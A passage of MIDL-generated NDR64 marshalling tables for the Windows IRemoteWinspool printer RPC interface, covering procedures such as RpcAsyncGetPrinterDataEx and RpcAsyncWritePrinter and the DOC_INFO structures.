&__midl_frag380,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag273_t __midl_frag273 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag348\n};\n\nstatic const __midl_frag271_t __midl_frag271 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag270_t __midl_frag270 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag269_t __midl_frag269 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag270\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag271\n    }\n};\n\nstatic const __midl_frag268_t __midl_frag268 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag269\n};\n\nstatic const __midl_frag267_t __midl_frag267 =\n0x5    /* FC64_INT32 */;\n\nstatic const __midl_frag266_t __midl_frag266 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag267\n};\n\nstatic const __midl_frag260_t __midl_frag260 =\n{ \n/* RpcAsyncGetPrinterDataEx */\n    { \n    /* RpcAsyncGetPrinterDataEx */      /* procedure RpcAsyncGetPrinterDataEx */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag277,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pKeyName */      /* parameter pKeyName */\n        &__midl_frag343,\n        { \n        /* pKeyName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pValueName */      /* parameter pValueName */\n        &__midl_frag343,\n        { \n        /* pValueName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pType */      /* parameter pType */\n        &__midl_frag267,\n        { \n        /* pType */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pData */      /* parameter pData */\n        &__midl_frag269,\n        { \n        /* pData */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* nSize */      /* parameter nSize */\n        &__midl_frag348,\n        { \n        /* nSize */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag348,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag348,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag254_t __midl_frag254 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 32 /* 0x20 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag253_t __midl_frag253 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag254\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag271\n    }\n};\n\nstatic const __midl_frag252_t __midl_frag252 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag253\n};\n\nstatic const __midl_frag246_t __midl_frag246 =\n{ \n/* RpcAsyncGetPrinterData */\n    { \n    /* RpcAsyncGetPrinterData */      /* procedure RpcAsyncGetPrinterData */\n        (NDR64_UINT32) 21889088 /* 0x14e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 56 /* 0x38 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 7 /* 0x7 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag277,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pValueName */      /* parameter pValueName */\n        &__midl_frag343,\n        { \n        /* pValueName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pType */      /* parameter pType */\n        &__midl_frag267,\n        { \n        /* pType */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pData */      /* parameter pData */\n        &__midl_frag253,\n        { \n        /* pData */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* nSize */      /* parameter nSize */\n        &__midl_frag348,\n        { \n        /* nSize */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag348,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag348,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag243_t __midl_frag243 =\n{ \n/* RpcAsyncAbortPrinter */\n    { \n    /* RpcAsyncAbortPrinter */      /* procedure RpcAsyncAbortPrinter */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag379,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag348,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag240_t __midl_frag240 =\n{ \n/* RpcAsyncEndDocPrinter */\n    { \n    /* RpcAsyncEndDocPrinter */      /* procedure RpcAsyncEndDocPrinter */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag379,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag380,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag237_t __midl_frag237 =\n{ \n/* RpcAsyncEndPagePrinter */\n    { \n    /* RpcAsyncEndPagePrinter */      /* procedure RpcAsyncEndPagePrinter */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag442,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag389,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag231_t __midl_frag231 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag230_t __midl_frag230 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag231\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag448\n    }\n};\n\nstatic const __midl_frag229_t __midl_frag229 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag230\n};\n\nstatic const __midl_frag227_t __midl_frag227 =\n{ \n/* RpcAsyncWritePrinter */\n    { \n    /* RpcAsyncWritePrinter */      /* procedure RpcAsyncWritePrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag442,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pBuf */      /* parameter pBuf */\n        &__midl_frag230,\n        { \n        /* pBuf */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag449,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pcWritten */      /* parameter pcWritten */\n        &__midl_frag449,\n        { \n        /* pcWritten */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag449,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag224_t __midl_frag224 =\n{ \n/* RpcAsyncStartPagePrinter */\n    { \n    /* RpcAsyncStartPagePrinter */      /* procedure RpcAsyncStartPagePrinter */\n        (NDR64_UINT32) 17301568 /* 0x1080040 */,    /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */\n        (NDR64_UINT32) 16 /* 0x10 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 2 /* 0x2 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag495,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag449,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag217_t __midl_frag217 =\n{ \n/* DOC_INFO_1 */\n    { \n    /* DOC_INFO_1 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* DOC_INFO_1 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag947\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag947\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 16 /* 0x10 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag947\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag216_t __midl_frag216 =\n{ \n/* *DOC_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag217\n};\n\nstatic const __midl_frag214_t __midl_frag214 =\n{ \n/* __MIDL_IRemoteWinspool_0006 */\n    { \n    /* __MIDL_IRemoteWinspool_0006 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag480,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag216,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag213_t __midl_frag213 =\n{ \n/* DOC_INFO_CONTAINER */\n    { \n    /* DOC_INFO_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* DOC_INFO_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n   